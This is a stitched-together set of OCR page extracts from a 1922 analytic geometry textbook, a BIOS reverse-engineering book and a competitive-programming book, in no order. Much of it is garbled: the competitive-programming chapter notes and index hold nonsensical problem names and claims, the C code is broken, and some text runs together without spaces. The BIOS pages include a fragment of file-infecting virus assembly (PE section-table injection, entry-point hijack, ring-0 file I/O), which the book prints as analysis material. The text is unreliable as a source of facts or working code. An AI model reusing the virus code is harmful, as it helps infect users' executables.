4:1\). If \(A\) and \(B\) are \((4, 6)\) and \((6, 9)\), find \(C\). 34. If three of the vertices of a parallelogram are \((1, 2)\), \((2, -3)\), and \((7, -6)\), find the fourth vertex. 35. Derive the formulas for the coordinates of the midpoint of a line as a special case of the formulas of section \(28\), using the proper special value of \(r\) for this purpose. ## Plot the points \(A(-4, -3)\), \(B(2, 6)\), \(C(7, -5)\), and \(D(-3, -8)\) and show that: 36. These points are the vertices of a trapezoid. 37. The line joining the midpoint of \(AD\) and \(DC\) is parallel to \(AB\) and \(CD\) and is equal to half their sum. 38. The line joining the midpoint of \(AB\) and \(DC\) is parallel to \(AB\) and \(CD\) and is equal to half their difference. 39. The points \(P(r, p)\), \(P_i(r_i, p_i)\), and \(P_{ex}(x, y)\) are the vertices of any triangle. By finding the points which divide the midsides from \(P_i\), \(P_j\), and the ratio \(2:1\), show that the three medians meet in a point. 40. The points \(A(2, -4)\), \(B(5, 7)\), \(C(3, -2)\) are all on the same line. Find the point dividing \(AB\) externally in the same ratio in which \(P\) divides \(AB\) internally. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 70 Context: # Linker Script In this book, I am only concerned with pure machine code output because you are dealing with the hardware directly without going through any software layer. Linker script can control every aspect of the linking process, such as the relocation of the compilation result, the executable file format, and the executable entry point. Linker script is a powerful tool when combined with various GNU binutils. Figure 3.2 also shows that it’s possible to do **separate compilation**, i.e., compile some assembly language source code and then combine the object file result with the C language compilation object file result by using LD linker. There are two routes to building a pure machine code or executable binary if you are using GCC: 1. Source code compilation → Object file → LD linker → Executable binary 2. Source code compilation → Object file → LD linker → Object file → Objcopy → Executable binary This section deals with the second route. I explain the linker script that’s used to build the experimental PCI expansion ROM in part 3 of this book. It’s a simple linker script. Thus, it’s good for learning purposes. Start with the basic structure of a linker script. The most common linker script layout is shown in Figure 3.3. ## Linker Script File Layout ### Output File Format ### Target Machine Architecture ### Executable Code Entry Point ### Other Definitions... ### Sections Definition Linker script is just an ordinary plain text file. However, it conforms to certain syntax dictated by LD linker and mostly uses the layout shown in Figure 3.3. Consider the makefile and the linker script used in chapter 7 as an example. You have to review the makefile with the linker script because they are tightly coupled. [^3]: The format of an executable file is operating system dependent. [^4]: GNU binutils is an abbreviation for GNU binary utilities, the applications that come with GCC for binary manipulation purposes. [^5]: Execution environment is the processor operating mode. For example, in a 32-bit x86-compatible processor, there are two major operating modes, i.e., 16-bit real mode and 32-bit protected mode. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 43 Context: # Please enter text ``` Enter IDC statements Auto src_dest; SegRead(Ptr(0xF0001, 0x100000, 0), 0xF0000, 0, 0, dest = 0); dest = Ptr(0x7000, 0x1B00000, src = 0x4); Patch(Dword(dest)); dest += 4; ``` The script shown in figure 2.11 is another form of the script shown in listing 2.2. Note that there is no need for the `#include` statement in the beginning of the script, since by default all functions exported by IDA Pro in its scripts header files (`*.h`) are accessible within the script dialog box shown. The main function also doesn't need to be defined. In fact, anything you write within the dialog box entry will behave as if it's written inside the main function in an IDA Pro script file. At present, you can relocate the binary within IDA Pro; the next step is to disassemble the binary within IDA Pro. Before that, you need to know how default key binding works in IDA Pro. Key binding is the "mapping" between the keyboard button and the command carried out when the corresponding key is pressed. The cursor must be placed in the workspace before any command is carried out in IDA Pro. Key binding is defined in the `idagui.cfg` file located in the IDA Pro installation directory. An excerpt of the key binding (hot key) is provided in listing 2.4. ## Listing 2.4 Key Binding Excerpt | Key Binding Name | Hot Key | |----------------------|---------------| | `%MakeCode%` | `C` | | `%MakeData%` | `D` | | `%MakeAscii%` | `A` | | `%MakeUnicode%` | `0` | | `%MakeArray%` | `Ctrl+M` | // Create Unicode string | | `%MakeUnknown%` | `U` | | `%MakeName%` | `N` | | `%ManualOperand%` | `Alt-F1` | | `%MakeFunction%` | `F` | | `%EditFunction%` | `Alt-F` | 16 #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 202 Context: 0000:001A0044 dd 40000h ; dest seg = 4000h; size = 5D56h (relocated) 0000:001A0048 dd 80005D56h 0000:001A004C dd 0A8530h ; dest seg = A853h; size = 82FCh (relocated) 0000:001A0050 dd 800082FCh 0000:001A0054 dd 49A90h ; dest seg = 49A9h; size = A29h (relocated) 0000:001A0058 dd 80000A29h 0000:001A005C dd 45D60h ; dest seg = 45D6h; size = 3D28h (relocated) 0000:001A0060 dd 80003D28h 0000:001A0064 dd 0A0000h ; dest seg = A000h; size = 55h (relocated) 0000:001A0068 dd 80000055h 0000:001A006C dd 0A0300h ; dest seg = A030h; size = 50h (relocated) 0000:001A0070 dd 80000050h 0000:001A0074 dd 400h ; dest seg = 40h; size = 110h (NOT relocated) 0000:001A0078 dd 110h 0000:001A007C dd 510h ; dest seg = 51h; size = 13h (NOT relocated) 0000:001A0080 dd 13h 0000:001A0084 dd 1A8E0h ; dest seg = 1A8Eh; size = 7AD0h (relocated) 0000:001A0088 dd 80007AD0h 0000:001A008C dd 0 ; dest seg = 0h; size = 400h (NOT relocated) 0000:001A0090 dd 400h 0000:001A0094 dd 266F0h ; dest seg = 266Fh; size = 101Fh (relocated) 0000:001A0098 dd 8000101Fh 0000:001A009C dd 2EF60h ; dest seg = 2EF6h; size = C18h (relocated) 0000:001A00A0 dd 80000C18h 0000:001A00A4 dd 30000h ; dest seg = 3000h; size = 10000h 0000:001A00A4 ; (NOT relocated) 0000:001A00A8 dd 10000h 0000:001A00AC dd 4530h ; dest seg = 453h; size = EFF0h 0000:001A00AC ; (NOT relocated) 0000:001A00B0 dd 0EFF0h 0000:001A00B4 dd 0A8300h ; dest seg = A830h; size = 230h (relocated) 0000:001A00B8 dd 80000230h 0000:001A00BC dd 0E8000h ; dest seg = E800h; size = 8000h 0000:001A00BC ; (NOT relocated) 0000:001A00C0 dd 8000h 0000:001A00C4 dd 0A7D00h ; dest seg = A7D0h; size = 200h 0000:001A00C4 ; (NOT relocated) 0000:001A00C8 dd 200h 0000:001A00CC dd 0B0830h ; dest seg = B083h; size = F0h (relocated) 0000:001A00D0 dd 800000F0h 0000:001A00D4 dd 0A8000h ; dest seg = A800h; size = 200h 0000:001A00D4 ; (NOT relocated) 0000:001A00D8 dd 200h 0000:001A00DC dd 530h ; dest seg = 53h; size = 4000h 0000:001A00DC ; (NOT relocated) 0000:001A00E0 dd 4000h 0000:001A00E4 dd 0A7500h ; dest seg = A750h; size = 800h 0000:001A00E4 ; (NOT relocated) 0000:001A00E8 dd 800h 0000:001A00EC dd 0C0000h ; dest seg = C000h; size = 20000h 0000:001A00EC ; (NOT relocated) 96 #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 227 Context: ``` # 8.5 Chapter Notes * More Advanced DP 1. **UVA 10947 - Ranger Rendezvous** - (the input constraint is best used with DP) 2. **UVA 10724 - Slide Show** - Sliding Window 3. **UVA 10679 - The Merging Game** - (e.g., II, III, and IV can be merged; try all) 4. **UVA 10986 - Dijkstra's Subsequences for Jean-Baptiste** 5. **UVA 10369 - Fire Station** - (two jumbles) 6. **UVA 10107 - Tighter Knapsack** (or it possibly sets the limit on any DP) 7. **UVA 10716 - Number Game** - (a bit number theory, knapsack) 8. **UVA 10119 - Slicing** (details in formatting) 9. **UVA 10876 - The Candyman Can** - (drop one parameter between b, c, or e) 10. **UVA 10368 - Pulling Coins** - (details in formatting) 11. **UVA 10911 - Forming Teams** - (player capability) 12. **UVA 10171 - Monkey Business** (Gnomes, Theory, DP) 13. **UVA 10621 - Die Hard** - (Knapsack, DP or Tree) 14. **UVA 11066 - File Splitting** - (DP with discussion rethrown) 15. **UVA 11044 - Grid Paths (Labyrinth)** - problem author: Pask Halim 16. **UVA 11579 - Partitioning** (Amazing!) 17. **UVA 129 - The Lying Journalist** (angle of confusion) 18. **UVA 617 - The Sky is Falling** (Pinball) 19. **UVA 1072 - The Islands (World Finals Harb... Bitonic TSP)** --- This chapter and the second edition of this book are here. After writing so much, we become more aware of the presence of more interesting techniques that we are not yet able to cover in the second edition of this book. Expect this chapter to be improved substantially in the future. --- To be continued... :) There are 52 UVA (and 31 others) programming exercises discussed in this chapter. There are 15 pages in this chapter. 1. **DP**: e.g., *e.g.*, "just try doing a DFS for looking at K ranges." 2. "Sample the DP solution for clear branching, yet greedily select adjacent DP states (pos, length)." 3. "Unroll the DP: change, for the entire check and cache distinctly between k, there's more to it." 4. More traces in maintaining dP arrays: Dropping it is the most beneficial one. ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 55 Context: Chapter3ProblemSolvingParadigmsIfallyouhaveisahammer,everythinglookslikeanail—AbrahamMaslow,19623.1OverviewandMotivationInthischapter,wehighlightfourproblemsolvingparadigmscommonlyusedtoattackproblemsinprogrammingcontests,namelyCompleteSearch,Divide&Conquer,Greedy,andDynamicProgramming.BothIOIandICPCcontestantsneedtomasteralltheseproblemsolvingparadigmssothattheycanattackthegivenproblemwiththeappropriate‘tool’,ratherthan‘hammering’everyproblemwiththebrute-forcesolution(whichisclearlynotcompetitive).Ouradvicebeforeyoustartreading:Donotjustrememberthesolutionsfortheproblemsdiscussedinthischapter,butremembertheway,thespiritofsolvingthoseproblems!3.2CompleteSearchCompleteSearch,alsoknownasbruteforceorrecursivebacktracking,isamethodforsolvingaproblembysearching(upto)theentiresearchspacetoobtaintherequiredsolution.Inprogrammingcontests,acontestantshoulddevelopaCompleteSearchsolutionwhenthereisclearlynocleveralgorithmavailable(e.g.theproblemofenumeratingallpermutationsof{0,1,2,...,N−1},whichclearlyrequiresO(N!)operations)orwhensuchcleveralgorithmsexist,butoverkill,astheinputsizehappenstobesmall(e.g.theproblemofansweringRangeMinimumQueryasinSection2.3.3butonastaticarraywithN≤100–solvablewithanO(N)loop).InICPC,CompleteSearchshouldbethefirstsolutiontobeconsideredasitisusuallyeasytocomeupwiththesolutionandtocode/debugit.Rememberthe‘KISS’principle:KeepItShortandSimple.Abug-freeCompleteSearchsolutionshouldneverreceiveWrongAnswer(WA)responseinprogrammingcontestsasitexplorestheentiresearchspace.However,manyprogrammingproblemsdohavebetter-than-Complete-Searchsolutions.ThusaCompleteSearchsolutionmayreceiveaTimeLimitExceeded(TLE)verdict.Withproperanalysis,youcandeterminewhichisthelikelyoutcome(TLEversusAC)beforeattemptingtocodeanything(Table1.4inSection1.2.2isagoodgauge).IfCompleteSearchcanlikelypassthetimelimit,thengoahead.ThiswillthengiveyoumoretimetoworkontheharderproblemswhereCompleteSearchistooslow.InIOI,weusuallyneedbetterproblemsolvingtechniquesasCompleteSearchsolutionsareusu #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 255 Context: ``` # INDEX #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 258 Context: ``` # INDEX - UVa 10721 - Bar Codes, 69 - UVa 10724 - Road Construction, 100 - UVa 10731 - Test Case, 132 - UVa 10735 - Stemming the Tide, 135 - UVa 10739 - String to Palindrome, 162 - UVa 10740 - Never Give Up, 62 - UVa 10746 - Once Upon *The* *Sequel*, 107 - UVa 10752 - Maximum Subsequence, 154 - UVa 10773 - Broken Keyboard, 154 - UVa 10774 - Foreign Exchange, 95 - UVa 10775 - Calculating the Shock Math, 122 - UVa 10776 - Collector's Problem, 107 - UVa 10778 - Alpha Parenthesis, 138 - UVa 10779 - Acid Rain, 120 - UVa 10790 - Dial Sums, 122 - UVa 10793 - Digits, 132 - UVa 10794 - The Mad Muncher, 54 - UVa 10795 - The M*e*d Fly Problem, 159 - UVa 10797 - Minimum Sum Loop, 128 - UVa 10798 - The One Attack Problem, 140 - UVa 10799 - Not That Kind of Graph, 155 - UVa 10800 - The Topping, 5 - UVa 10801 - Lumber Mountain, 100 - UVa 10802 - K*e*rtz, 207 - UVa 10803 - Ultra Quicksort, 91 - UVa 10804 - Baby-Sitting, 16 - UVa 10805 - The Big Spender, 5 - UVa 10806 - Marketing Problem, 28 - UVa 10807 - Amicable Pairs, 112 - UVa 10808 - The Number of Paths, 64 - UVa 10809 - Square Houses, 284 - UVa 10810 - Circles and Squares, 186 - UVa 10811 - Maximum Sum of a Tornado, 68 - UVa 10812 - R*e*versing piano, 123 - UVa 10813 - Cumulative Sum, 154 - UVa 10814 - Spam, 245 - UVa 10815 - A *f*ew Carrots, 202 - UVa 10816 - u*U* - The Tape*, 1 - UVa 10817 - Digit Recursion*, 148 - UVa 10818 - University Education, 206 - UVa 10819 - Crossing the Cable Wires, 130 - UVa 10820 - Daydream, 96 - UVa 10821 - slot machine, 292 - UVa 10822 - Petty Cash Magic, 25 - UVa 10823 - Closed Substring, 236 - UVa 10824 - Safe Permutation, 154 - UVa 10825 - Problem, 112 - UVa 10826 - The Explanation, 96 - UVa 10827 - Extreme Fun, 302 - UVa 10828 - Dice, 3 - UVa 10829 - Mind Blowing, 9 - UVa 10830 - Foolish and Misunderstood, 80 - UVa 10831 - Fastest Computation, 17 - UVa 10832 - Auto Solve, 120 - UVa 10833 - Synonyms, 141 - UVa 10834 - Everything, 42 - UVa 10835 - Last Station Number, 88 - UVa 10836 - Following Cards Away, 11 - UVa 10837 - The Best Solution, 96 - UVa 10838 - Each Factor, 54 - UVa 10839 - Forgetful, 82 - UVa 10840 - Arm, 19 - UVa 10841 - Telescopes, 94 - UVa 10842 - Duck Crossing, 120 - UVa 10843 - The Square Root, 100 - UVa 10844 - Loop, 75 - UVa 10845 - Sending Email, 95 ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 233 Context: ```markdown void backtrack(int col) { for (int tryrow = 0; tryrow < 8; tryrow++) { // try all possible row if (can_place(tryrow, col)) { // if we can place a queen in this row row[col] = tryrow; // put this queen in this col and row printf("%d: %s\n", col + 1, print_board(row)); for (int j = 0; j < 8; j++) printf("%d ", row[j]); printf("\n"); } else { backtrack(col + 1); // recursively try next column } } } Exercise 3.2.1.5: Straightforward. Solution is not shown. Exercise 3.2.1.6: We must consider the two diagrams too. To further expand up the solution, use internal techniques (slightly outside of Boston data structures) discussed in Section 2.21. Exercise 3.4.1: We use 1189 to solve a "load balancing" problem. Sort input. Find the pattern. Exercise 3.4.1.1: Gamburg on 1 - take the third model (not 2); Gamburg on 1 - take the first model (not 2); Gamburg on 2 - take the first model (not 2); Nothing left. Exercise 3.5.1 and Exercise 3.5.1.5: ```c /* Via 1450 - Merging Shopping - Bottom Up - Row Major - Space Saving Trick */ #include using namespace std; int main() { int i, j, T, M, C, cur, price[25][25]; // price[i][c] [model <= 20] bool can_reach_table[210][250]; // can_reach_table[model][money <= 200] scanf("%d %d %d", &T, &M, &C); scanf(" %d", &price[0][0]); // to simplify coding, store in price[0][0] for (i = 0; i < M; i++) { scanf(" %d", &price[i][0]); // only using first remaining price for (j = 1; j <= C; j++) { scanf(" %d", &price[i][j]); // fill in price[i][j] } } memset(can_reach_table, false, sizeof(can_reach_table)); // clear everything for (i = 0; i < M; i++) { for (cur = 0; cur <= C; cur++) { for (j = 0; j <= C; j++) { // if we can reach this state if (can_reach_table[i][cur]) can_reach_table[i+1][cur - price[i][j]] = true; // flag the rest } } } cur = 0; // key trick: swap active row } ``` ``` #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 172 Context: ``` 166 # THE ELLIPSE 32. Find the condition that the line \(\frac{z}{m} + \frac{y}{n} = 1\) is tangent to the ellipse \(\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1\). 33. The parallelogram which is formed by the four tangents at the ends of two conjugate diameters of an ellipse has a constant area. 34. Let the areas of a parallelogram be \(S_1\) and \(S_2\), where \(S_1\) and \(S_2\) are adjacent sides and \(S_1\) is the included angle, and then use 168. 35. Draw the rectangle formed by the tangents at the ends of the axes of an ellipse. Prove that the diagonals of the rectangle are conjugate and equal. 36. Find the eccentric angles for the ends of the equal conjugate diameters of Ex. 35. 37. The path of the earth is an ellipse, the sun being at one focus. Find the equation and eccentricity of the ellipse if the distances from the sun to the ends of the major axis are respectively 90 and 93 million miles. 38. Find the locus of the mid points of the ordinates of a circle that has its center at the origin. 39. Find the locus of the mid points of the chords drawn through one end of the minor axis of an ellipse. 40. The sum of the squares of the reciprocals of two perpendicular diameters of an ellipse is constant. 41. Let \(A\) and \(B\) be the tangents at the vertices \(A'\) and \(B'\) of an ellipse. If we consider any other tangent in the points \(C\) and \(C'\) respectively, then \(AC' - AC = 0\). 42. Determine the number of normals from a given point to a given ellipse. 43. The circle having a diameter as a focal radius of an ellipse is tangent to the major auxiliary circle. ``` #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 18 Context: # 12 INTRODUCTION 8. The attraction \( A \) between the poles of an electromagnet varies inversely as the square of the distance \( d \) between the poles; that is, \( A = \frac{k}{d^2} \), being a constant. Taking the values \( d = 2 \) and \( d = 3 \), plot the graph for all integral values of \( d \) from 2 to 10. Estimate from the graph the amount by which \( A \) changes between \( d = 2 \) and \( d = 3 \). 9. Certain postal regulations require that the sum of the height \( h \) of a parcel to be sent by parcel post shall not exceed 7 ft. Supposing that a manufacturer wishes to ship his goods by parcel in boxes having square ends and width \( w \), find the length equal to \( l \), study the variation in the capacity of such a box as the dimensions vary. 10. Consider Ex. 9, for a cylindrical parcel of length \( l \) inches and radius \( r \) inches. The circumference is \( 2\pi r \) and the volume is \( \pi r^2 l \). 11. A strip of sheet metal 12 in. wide is to be folded along the middle so as to form a gutter. Denoting the width of the top by \( 2x \), express in terms of \( x \) the area \( A \) of the cross section of the gutter. Plot the graph of this equation \( A \) and determine approximately the width corresponding to the maximum capacity of the gutter. 12. A rectangular enclosure containing 60 sq yd is to be laid off against the wall \( AB \) of a house, two of the walls of the enclosure being perpendicular to \( AB \), and the other wall being parallel to \( AB \). In terms of the width \( x \) of the enclosure, express the total length \( l \) of the walls to be built, and plot the graph of this equation for \( x \) and \( l \). 13. Find the dimensions of the maximum rectangle that can be inscribed in a circle having a diameter of 16 in. #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 135 Context: # 4.8 Chapter Notes We end this relatively long chapter by making a remark that this chapter has lots of algorithms and algorithmic nuances that are not in this book. This text will help students in the future, as there are very few graph algorithms. However, we have learned the obstacles that confront ICPCs and OI, usually do not just ask contestants to solve problems involving the pure form of these graph algorithms. New problems usually require contestants to combine two or more algorithms together to solve new problems. For this reason, we will discuss the various methods of using graph theory to transform the original DAG into a directed acyclic graph (DAC). These basic forms of graph problems are covered in Section 2. We can categorize standard graph problems into two significant classes, namely: 1. **Maximum Flow**: It is not clear that Dynamic Programming (DP) is the main or best approach for these types of problems, especially where EDs and DPIs start to emerge. The error rate for simple algorithms should be viewed as extremely severe. 2. **Graph Traversals**: There are often pitfalls when we talk to MCMF (Minimum Cost Maximum Flow) constants in this section that mainly use heavy linear transformation or hard constraints without the necessary special properties to speed up our algorithms. Although we will cover basic, simple graph algorithms, we strongly advise you to consider the various categories in which graph problems may be stated in ICPCs, namely: - Bins For Packing Solutions - Clause-Literal Vanderpol algorithms - Bipartite Graphs - Tarjan's Offline Algorithm - Kumon Ancestors (Hungarian) Algorithm - Edmonds's Blossom Shrinking Algorithm If you want to increase your winning chance in ACM ICPC, please spend some time to review these types of algorithmic problems beyond this book. These stories have rarely appeared in required notes and if they are, they usually become the driver of problems. Standard graph problems are very much related to what the ACM ICPC World Finals need. However, we can highlight some of these graph materials in the 101 syllabi as already covered in this chapter. --- There are **230 UVA** (≥ 30 others) programming exercises discussed in this chapter. (Only 173 in the first edition, a 33% increase). There are **69 pages** in this chapter. (Only 33 in the first edition, a 49% increase). --- > **Interested readers are welcome to explore** Felik's paper [12] that discusses maximum flow algorithms for large graphs of all small writers and 15 billion edges. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 48 Context: # Adding Source Code File for IDA Pro Plugin Project ![Adding the source code file for the IDA Pro plugin project](image_link_to_figure_2.18) 5. Go to the project properties dialog by clicking the `Project | project_name Properties...` menu. ![Activating project property pages](image_link_to_figure_2.19) 6. Then, carry out the following modifications to project settings: - **C/C++ | General:** Set Detect 64-bit Portability Issue checks to **No**. - **C/C++ | General:** Set Debug Information Format to **Disabled**. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 146 Context: ``` 2000:558 mov ds, ax 2000:558 assume ds:1000h 2000:58A push ax 2000:58B mov al, 0Ch ; '*' 2000:58D out 80h, al ; Manufacturer's diagnostic checkpoint 2000:58F call copy_decompression_result 2000:592 pop ax 2000:593 cmp ax, 500h 2000:596 jb short decompression_ok 2000:598 jmp far ptr loc_F000_FF7 2000:59D 2000:59D decompression_ok: 2000:59E mov al, 0 2000:59F call enable_cache 2000:5A2 jmp far ptr loc_F000_FB0; Jump to decompressed System BIOS After looking at these exhaustive lists of disassembly, construct the memory map of the BIOS components just after the system BIOS decompressed (table 5.3). ### Table 5.3 BIOS binary mapping in memory after system BIOS decompression | Starting Address of BIOS Component in RAM (Physical Address) | Size | Decompression Status | Component Description | |--------------------------------------------------------------|----------|---------------------|-----------------------| | 5_0000h | 128 KB | Decompressed to RAM beginning at address in column one. | This is the system BIOS, i.e., the main BIOS code. Sometimes it is called original.tmp. | | 30_0000h | 512 KB | Not decompressed yet | This is the copy of the overall BIOS binary, i.e., the image of the BIOS binary in RAM. | --- Some notes regarding the preceding decompression routine: 1. Part of the decompression code calculates the 16-bit cyclic redundancy check (CRC-16) value of the compressed component during the decompression process. 2. The decompression routine is using segment 3000h as a scratch-pad area in RAM for the decompression process. This scratch-pad area spans from 3000h to 3800h, and it's 128 KB in size. It's initialized to zero before the decompression starts. The memory map of this scratch-pad area is as shown in table 5.4. ### Table 5.4 Scratch-pad area memory map | Starting Index in the scratchpad Segment | Size (in Bytes) | Description | |------------------------------------------|------------------|---------------------------------| | 371Ch | ... | ... | | 2000h | Buffer. This area stores the "sliding window," i.e., | ``` #################### File: Competitive%20Programming%2C%202nd%20Edition%20-%20Steven%20Halim%20%28PDF%29.pdf Page: 2 Context: # CONTENTS © Steven & Elias ## 3 Algorithms ### 3.1 Interesting Usages of Binary Search .......................... 47 ### 3.2 Geometry .................................................... 51 #### 3.2.1 Examples ................................................ 51 ### 3.3 Dynamic Programming ......................................... 53 #### 3.3.1 DP Illustration ......................................... 54 #### 3.3.2 Classical Examples ...................................... 66 #### 3.3.3 Non-Classical Examples .................................. 66 ### 3.6 Chapter Notes ............................................... 68 ## 4 Graph ### 4.1 Overview and Motivation ..................................... 71 ### 4.2 Graph Traversal ............................................. 71 #### 4.2.1 Depth First Search (DFS) ............................... 72 ##### 4.2.1.1 Breadth First Search (BFS) .......................... 74 #### 4.2.2 Finding Connected Components (in an Unrestricted Graph) .. 76 #### 4.2.3 Finding Full Labeling/Clustering the Connected Components .. 78 #### 4.2.4 Topological Sort of a Directed Acyclic Graph ............ 80 #### 4.2.5 Graph Edge Properties: Circuit & DFS Spanning Tree ........ 82 #### 4.2.6 Finding Articulation Points and Bridges (in an Undirected Graph) .. 84 #### 4.2.7 Finding Strongly Connected Components (in a Directed Graph) .. 88 ### 4.3 Minimum Spanning Tree ....................................... 90 #### 4.3.1 Overview and Motivation ................................ 90 #### 4.3.2 Kruskal's Algorithm ...................................... 91 #### 4.3.3 Prim's Algorithm ......................................... 93 #### 4.3.4 Other Applications ....................................... 96 ### 4.4 Single-Source Shortest Paths ................................ 97 #### 4.4.1 SSP on Unweighted Graph ................................ 98 #### 4.4.2 SSP on Weighted Graph .................................. 99 #### 4.4.3 SSP on Graph with Negative Weight Cycle ................ 100 ### 4.5 All-Pairs Shortest Paths ..................................... 101 #### 4.5.1 Overview and Motivation ................................ 101 #### 4.5.2 Floyd-Warshall's DP Solution ............................ 102 #### 4.5.3 Other Applications ....................................... 104 ### 4.6 Maximum Flow ................................................. 105 #### 4.6.1 Overview and Motivation .................................. 105 #### 4.6.2 Ford Fulkerson’s Method .................................. 107 #### 4.6.3 Edmonds-Karp's ......................................... 108 ### 4.7 Special Graphs ................................................ 110 #### 4.7.1 Directed Acyclic Graph ................................... 110 #### 4.7.2 Trees .................................................... 112 #### 4.7.3 Bipartite Graph .......................................... 114 ### 4.8 Chapter Notes ................................................ 121 ## 5 Mathematics ### 5.1 Overview and Motivation ...................................... 121 ### 5.2 Hard Job Mathematics Problems ............................... 121 ### 5.3 Basic Geometry Classes ....................................... 125 #### 5.3.1 Base Features ........................................... 125 #### 5.3.2 Bonus Features .......................................... 126 #################### File: Analytic%20Geometry%20%281922%29%20-%20Lewis%20Parker%20Siceloff%2C%20George%20Wentworth%2C%20David%20Eugene%20Smith%20%28PDF%29.pdf Page: 109 Context: # REVIEW ## Exercise 32. Review 1. In the circle \(x^2 + y^2 - 4x + 6y = 12\), find the \(x\) intercepts and the sum, product, and difference of these intercepts. 2. Find the sum, difference, and product of the \(y\) intercepts and of the intercepts of the circle \(x^2 + y^2 + 22x - 13y + 40 = 0\). --- Given any circle \(x^2 + y^2 - 2ax - 2by = 0\), prove that: 3. The difference of the \(x\) intercepts is \(2\sqrt{a}\). 4. The sum of the \(y\) intercepts is \(2b\) and the product is \(c\). 5. The sum of the \(x\) intercepts is \(2a\) and the product is \(c\). 6. The difference of the squares of the chords cut by the circle from the axis is \(a^2 - b^2\). --- Find the equation of each of the following circles: 7. Tangent to \(O'\) at the point \( (0, 6) \) and cutting from \(OX\) a chord 16 units in length. **Note**: The chord length is equal to the difference of the \(x\) intercepts, and then use the result of Ex. 3. 8. With center \( (3, -5) \), the product of the four intercepts being equal to 225. 9. Tangent to both axes and having the area included between the circle and the axes equal to \(16(\pi - r)\). 10. Passing through \( (4, 2) \) and \( (-1, 3) \) and having the sum of the four intercepts equal to 14. 11. Show that the equation of the circle has been found, draw the circle, and for the other intercepts, note that two of these intercepts are imaginary. How much do these imaginary intercepts contribute to the given sum? 12. A ray of light from \( (10, 2) \) strikes the circle \(x^2 + y^2 = 25\) at \( (4, 3) \). Find the equation of the reflected ray. #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 451 Context: mov cl, (NumberOfSections-@8)[esi] mul cl ; *************************** ; * Set section table * ; *************************** ; Move ESI to the start of SectionTable lea esi, (StartOfSectionTable-@8)[esi] push eax ; Size push edx ; Pointer of file push esi ; Address of buffer ; *************************** ; * Code size of merged * ; * virus code section and * ; * total size of virus * ; * code section table must * ; * be smaller than or equal* ; * to unused space size of * ; * following section table * ; *************************** inc ecx push ecx ; Save NumberOfSections+1 shl ecx, 03h push ecx ; Save TotalSizeOfVirusCodeSectionTable add ecx, eax add ecx, edx sub ecx, (SizeOfHeaders-@9)[esi] not ecx inc ecx ; Save my virus first section code ; size of following section table... ; (do not include size of virus code section table) push ecx xchg ecx, eax ; ECX = size of section table ; Save original address of entry point mov eax, (AddressOfEntryPoint-@9)[esi] add eax, (ImageBase-@9)[esi] mov (OriginalAddressOfEntryPoint-@9)[esi], eax cmp word ptr [esp], small CodeSizeOfMergeVirusCodeSection jl OnlySetInfectedMark ; *************************** ; * Read all section tables * ; *************************** mov eax, ebp call edi ; VXDCall IFSMgr_Ring0_FileIO ; *************************** ; * Fully modify the bug: * #################### File: BIOS%20Disassembly%20Ninjutsu%20Uncovered%201st%20Edition%20-%20Darmawan%20Salihun%20%28PDF%29%20BIOS_Disassembly_Ninjutsu_Uncovered.pdf Page: 147 Context: | Address | (8 KB) | Description | |----------|--------|-------------------------------------------| | 571ch | 1 | LHA header length | | 571bh | 1 | LHA header sum (8-bit sum) | | ... | ... | ... | **Table 5.4** Memory map of scratch-pad used by the decompression engine 3. In this stage, only the system BIOS that is decompressed. It is decompressed to segment `5000h` and later will be relocated to segment `8000h-FFFFh`. Other compressed components are not decompressed yet. However, their original header information was stored at `0000:6000h-0000:63FFh` in RAM. Among this information were the starting addresses¹⁰ of the compressed component. Subsequently, their destination segments were patched to `4000h` by the `Decompression_Engine` procedure in the BIOS binary image at `30_0000h-37_FFFFh`. This can be done because not all of those components will be decompressed at once. They will be decompressed one by one during system BIOS execution and relocated from segment `4000h` as needed. 4. The `4000h` in the header¹¹ behaves as an ID that works as follows: - 40 (hi-byte) is an identifier that marks it as an "Extension BIOS" to be decompressed later during original execution. - xx is an identifier that will be used in system BIOS execution to refer to the component’s starting address within the image of the BIOS binary¹² to be decompressed. This will be explained more thoroughly in the system BIOS explanation later. ### 5.1.3. Award System BIOS Reverse Engineering I’ll proceed as in the boot block in the previous section; I’ll just highlight the places where the "code execution path" is obscure. By now, you’re looking at the disassembly of the decompressed system BIOS of the Foxconn motherboard. ### 5.1.3.1. Entry Point from the "Boot Block in RAM" This is where the boot block jumps after relocating and write-protecting the system BIOS. ¹⁰ The starting address is in the form of a physical address. 